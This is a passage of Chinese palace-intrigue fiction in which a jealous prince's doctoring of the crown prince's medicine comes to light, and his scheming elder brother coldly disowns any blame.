待文淑妃离开后,谢凝华屏退所有人独自去了书房,谢家的密信又被她翻了出来,这回,她低头看了许久,坐下来开始研磨。 与此同时,文淑妃将谢凝华不满意二皇子妃人选的事呈给了陈皇后,回宫路上,又拐道去看望亓轩。 亓轩的确是病了,太医说他是思虑太重再加上换季着凉,文淑妃以为自己儿子也是为朝事烦忧,心疼之余,心里又是满满的自豪,她这个顽劣的儿子,自从她宫中搬出去后,似乎一下子成长了很多。 亓轩对于母亲的关心很是受之有愧,而太子的关切更是成了他夜晚无穷无尽的噩梦,只有他自己知道所谓的病因是什么,恐惧,懊悔,自厌……他分不清哪个更多一些。 太子第一次在他面前咳血时,他当即吓得脸色苍白,太子见他这副模样,满脸歉意,温言道:“你这几天别过来了,待会儿病气传给你就不好了。” 亓轩根本没听到太子再说什么,只是愣愣的看着手帕上的血迹,脸色苍白如纸,表情也十分恍惚。 太子见他这副模样,知道自己又让他担心了,眼里多了几分心疼,摸了摸他的头道:“没事的,旧疾罢了。” 亓轩还是没有反应。 太子叹了口气,抬眼示意身边的宫人,让他先将亓轩扶下去休息。 亓轩浑浑噩噩的回到自己宫中,无论看向何处,满眼都是刺目的红,他实在受不了了,跌跌撞撞地跑到屋子外面,去望澄澈的蓝天,去看黄绿的枝叶,刚觉得自己好上一些,目光一移,他看到一朵深红色的木芙蓉。 “啊啊啊——” 他捂住眼睛歇斯底里的大喊,重重倒在地上,嘴里发出痛苦的呻吟。 “不是我害的……我只是想让大哥陪我…大哥说过要一直陪着我的……”他喃喃自语,指尖冰凉。 太子自大婚后,每天不是忙于朝政,就是与太子妃待在一处,分给他的时间愈来愈少,再到太子妃有孕,宫中上下一派喜气洋洋,只有他面色如见了鬼般。太子告诉他自己要做父亲时的神情清晰的映在他脑海里,他从未如此清楚地意识到,自己无比敬仰、无比亲近、无比喜爱的大哥,已经有了自己的生活、自己的家庭,而这里面,统统没有他的位置。 亓轲说过的话不可抑制的在他脑海里反复回响,“修养一段时日……”,对,太子需要修养一段时日,只要他没气力去干别的事了,是不是就会多点时间分给他呢?如果精神奕奕的太子只会离他越来越远,那他为什么,为什么不能做呢…… 亓轲给了他一个白玉小瓶,他握着它枯坐彻夜,然后乔装去了太医院,询问了几位太医,说法都与亓轲一致——这药平和,可供体弱之人调理睡眠。 只是调理睡眠罢了,亓轩搅散补药里白色的粉末,死死盯着它们直至彻底融于褐色的汤药之中。 起初太子只是精神不振,为此推掉了早朝陪他时,他心里暗暗窃喜,觉得药效正好。后来太子又因为倦怠拒绝了太子妃赏花的邀约,转而陪他在屋内谈论朝政时,他突然觉得先前下药时那点忐忑都不值一提,甚至觉得若是能再多加点药,太子就能彻底歇下来了…… 可现在,太子咳血的模样像烙铁一样烫在他脑海里,他想起自己当初为了安心,不仅找多位太医查验,还又找人试吃了几回,确认只是精神倦怠才放下心来…… “是亓轲!是他骗我!” 亓轩猛得醒悟,从地上爬起来,跌跌撞撞地往亓轲的宫殿跑去。 亓轲正在书房里翻 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亓轲强硬的将自己的领口从亓轩手中挣脱,后退一步,看着面前双眼猩红的人重重叹了口气,语气里带着痛心:“四弟,我当初怎么跟你说的?我说每日小半勺足矣,是你自己贪心!” 他突然上前一步走到已经呆愣的亓轩面前,拍了拍他的肩膀,“我知道你想念大哥,可你也不能如此莽撞,如今大哥病重,你这般自责,若是传出去,外人还当是你故意谋害太子呢,毕竟,药是你加的,与我何干?” “与你何干?”亓轩猛地推开他,眼神通红,“是你给我的药!你说与你何干!” “我只是给你提了个建议,可没逼你下药,更没逼你加量。”亓轲后退一步,语气轻飘飘的,“再说了,太医院那里还留着方子,你去问他,他敢说这药有害?是你自己心思不正,才酿成如今的局面,怎么反倒来质问我?” 亓轩愣住了,张了张嘴,却一个字也说不出来。 是啊,药是他下的,量是他加的,从头到尾,亓轲都没逼过他,甚至还“好心”提醒过他剂量,所有的错,好像真的都是他自己的。 可他来找亓轲,只是想从他口中听到一句“这不是你的错”啊,哪怕是谎言,也好过让他自己被愧疚和悔恨活活吞噬。 亓轲看着面前失魂落魄的亓轩,嘴角勾起一抹嘲讽的笑,又道:“二哥好心提点你一句,既然没有人说是你,你就守好这个秘密,不然……” 他没有再说下去,只是松掉手中握着的茶盏,茶盏落地一声脆响,碎片在二人中间炸开。 亓轩猛地抬头,神情如同一头濒死的困兽:“是你……是你吧,都是你设计的!” “四弟可别乱说,我不过是给了你一个让大哥休息的法子,是你自己把路走偏了。”亓轲绕过满地碎瓷,走到亓轩身边,俯身用只有两人能听见的声音说,“再说了,大哥若真有不测,这东宫之位,总轮不到心思歹毒的人来坐,你说是不是?”